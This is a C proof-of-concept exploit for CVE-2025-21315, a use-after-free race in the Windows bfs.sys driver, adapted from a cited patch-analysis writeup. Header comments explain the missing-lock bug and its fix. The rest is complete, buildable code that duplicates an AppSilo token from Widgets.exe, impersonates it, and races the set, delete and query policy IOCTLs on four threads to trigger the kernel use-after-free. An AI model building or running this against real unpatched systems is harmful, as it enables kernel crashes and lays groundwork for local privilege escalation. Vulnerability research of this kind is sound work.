// poc_cve_2025_21315.c — CVE-2025-21315 bfs.sys PolicyTable missing-lock UAF race
//
// Adapted from HT3Labs writeup:
//   https://ht3labs.com/Brokering-File-System-January-2025-Patch-Analysis.html
//
// Bug: Multiple policy-management paths (add/remove/query/idle-cleanup) accessed
// the global PolicyTable and PolicyEntry objects without holding the table lock.
// A concurrent policy-remove racing the idle-cleanup timer
// (BfsCheckAndReleaseIdlePolicy) or a query request can free a PolicyEntry while
// another thread is still using it → UAF.
//
// Patch (KB5050009): Added missing lock placements across ~15 functions, gated
// by Feature_2880249144. Introduced BfsDereferencePolicyEntryEx.
//
// Requirements:
//   - Run from a MEDIUM IL process on a pre-KB5050009 Windows 11 24H2.
//   - Needs an AppSilo (LowBox) token (duplicated from a packaged process).
//   - Races IOCTL 0x228004 (SetPolicy) against IOCTL 0x228010 (DeletePolicy)
//     and IOCTL 0x22800C (QueryPolicy) on multiple threads.
//
// Build (VS developer prompt):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_21315.c

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define BFS_DEVICE        L"\\\\?\\GLOBALROOT\\Device\\Bfs"
#define IOCTL_SET_POLICY  0x228004   // BfsProcessSetPolicyRequest
#define IOCTL_DEL_POLICY  0x228010   // BfsProcessDeletePolicyEntryRequest
#define IOCTL_QRY_POLICY  0x22800C   // BfsProcessQueryPolicyRequest
#define LOOPS_PER_THREAD  0x2000
#define TARGET_PACKAGE_EXE L"Widgets.exe"
#define PACKAGE_TEMP_DIR  L"C:\\Users\\%USERNAME%\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\AC\\Temp"
#define TARGET_FILE_NAME  L"race21315.txt"

typedef struct _SetPolicyRequest {
    HANDLE   hToken;
    __int64  IsDirectory;
    __int64  unknownFlag;
    __int64  FilenameLength;
    void*    FilenameBuffer;
    __int64  OperationType;
} SetPolicyRequest, *PSetPolicyRequest;

typedef struct _DeletePolicyRequest {
    HANDLE   hToken;
} DeletePolicyRequest, *PDeletePolicyRequest;

typedef struct _QueryPolicyRequest {
    HANDLE   hToken;
    __int64  IsDirectory;
    __int64  unknownFlag;
    __int64  FilenameLength;
    void*    FilenameBuffer;
    __int64  OperationType;  // 1 = query
    void*    OutputBuffer;
    __int64  OutputBufferLength;
} QueryPolicyRequest, *PQueryPolicyRequest;

typedef struct {
    HANDLE hDevice;
    HANDLE hToken;
    const wchar_t *ntPath;
    volatile LONG *pStop;
} WORK_CTX;

static HANDLE FindAppSiloToken(void) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return NULL;
    PROCESSENTRY32W pe = { sizeof(pe) };
    HANDLE hToken = NULL;
    for (BOOL ok = Process32FirstW(snap, &pe); ok && !hToken; ok = Process32NextW(snap, &pe)) {
        if (_wcsicmp(pe.szExeFile, TARGET_PACKAGE_EXE) != 0) continue;
        HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
        if (!hProc) continue;
        HANDLE hProcToken = NULL;
        if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, &hProcToken)) {
            DuplicateTokenEx(hProcToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hToken);
            CloseHandle(hProcToken);
        }
        CloseHandle(hProc);
    }
    CloseHandle(snap);
    return hToken;
}

static DWORD WINAPI ThrSetDel(LPVOID param) {
    WORK_CTX *ctx = (WORK_CTX *)param;
    SetPolicyRequest sreq = { 0 };
    sreq.hToken = ctx->hToken;
    sreq.IsDirectory = 0;
    sreq.OperationType = 0;
    sreq.unknownFlag = 0x10000000;
    sreq.FilenameBuffer = (void*)(uintptr_t)ctx->ntPath;
    sreq.FilenameLength = (DWORD)wcslen(ctx->ntPath) * sizeof(wchar_t);
    DeletePolicyRequest dreq = { ctx->hToken };
    DWORD ret = 0;

    for (int i = 0; i < LOOPS_PER_THREAD && !InterlockedCompareExchange(ctx->pStop, 0, 0); i++) {
        DeviceIoControl(ctx->hDevice, IOCTL_SET_POLICY, &sreq, sizeof(sreq), NULL, 0, &ret, NULL);
        DeviceIoControl(ctx->hDevice, IOCTL_DEL_POLICY, &dreq, sizeof(dreq), NULL, 0, &ret, NULL);
    }
    return 0;
}

static DWORD WINAPI ThrQuery(LPVOID param) {
    WORK_CTX *ctx = (WORK_CTX *)param;
    SetPolicyRequest sreq = { 0 };
    sreq.hToken = ctx->hToken;
    sreq.IsDirectory = 0;
    sreq.OperationType = 0;
    sreq.unknownFlag = 0x10000000;
    sreq.FilenameBuffer = (void*)(uintptr_t)ctx->ntPath;
    sreq.FilenameLength = (DWORD)wcslen(ctx->ntPath) * sizeof(wchar_t);
    QueryPolicyRequest qreq = { 0 };
    qreq.hToken = ctx->hToken;
    qreq.IsDirectory = 0;
    qreq.OperationType = 1;
    qreq.unknownFlag = 0x10000000;
    qreq.FilenameBuffer = (void*)(uintptr_t)ctx->ntPath;
    qreq.FilenameLength = (DWORD)wcslen(ctx->ntPath) * sizeof(wchar_t);
    char outbuf[0x200] = { 0 };
    qreq.OutputBuffer = outbuf;
    qreq.OutputBufferLength = sizeof(outbuf);
    DWORD ret = 0;

    // Ensure at least one policy exists before querying
    DeviceIoControl(ctx->hDevice, IOCTL_SET_POLICY, &sreq, sizeof(sreq), NULL, 0, &ret, NULL);

    for (int i = 0; i < LOOPS_PER_THREAD && !InterlockedCompareExchange(ctx->pStop, 0, 0); i++) {
        DeviceIoControl(ctx->hDevice, IOCTL_QRY_POLICY, &qreq, sizeof(qreq), NULL, 0, &ret, NULL);
    }
    return 0;
}

int wmain(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2025-21315 — bfs.sys PolicyTable missing-lock UAF race PoC\n");

    HANDLE hToken = FindAppSiloToken();
    if (!hToken) {
        printf("[-] No AppSilo token found — is %ws running?\n", TARGET_PACKAGE_EXE);
        return 1;
    }

    HANDLE hDevice = CreateFileW(BFS_DEVICE, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Open %ws failed: %lu (need Medium IL)\n", BFS_DEVICE, GetLastError());
        return 1;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        printf("[-] Impersonate failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Impersonating AppSilo token\n");

    wchar_t dir[MAX_PATH];
    ExpandEnvironmentStringsW(PACKAGE_TEMP_DIR, dir, MAX_PATH);
    wchar_t path[MAX_PATH];
    _snwprintf(path, MAX_PATH, L"%ws\\%ws", dir, TARGET_FILE_NAME);
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
    wchar_t ntPath[MAX_PATH + 8];
    _snwprintf(ntPath, MAX_PATH + 8, L"\\??\\%ws", path);

    printf("[+] Racing Set/Del vs Query on multiple threads...\n");
    volatile LONG stop = 0;
    WORK_CTX ctx = { hDevice, hToken, ntPath, &stop };
    HANDLE t1 = CreateThread(NULL, 0, ThrSetDel, &ctx, 0, NULL);
    HANDLE t2 = CreateThread(NULL, 0, ThrSetDel, &ctx, 0, NULL);
    HANDLE t3 = CreateThread(NULL, 0, ThrQuery,  &ctx, 0, NULL);
    HANDLE t4 = CreateThread(NULL, 0, ThrQuery,  &ctx, 0, NULL);

    if (t1) WaitForSingleObject(t1, INFINITE);
    if (t2) WaitForSingleObject(t2, INFINITE);
    if (t3) WaitForSingleObject(t3, INFINITE);
    if (t4) WaitForSingleObject(t4, INFINITE);

    if (t1) CloseHandle(t1);
    if (t2) CloseHandle(t2);
    if (t3) CloseHandle(t3);
    if (t4) CloseHandle(t4);

    RevertToSelf();
    CloseHandle(hDevice);
    CloseHandle(hToken);
    printf("[+] Done — no crash observed (patched or race never won).\n");
    return 0;
}
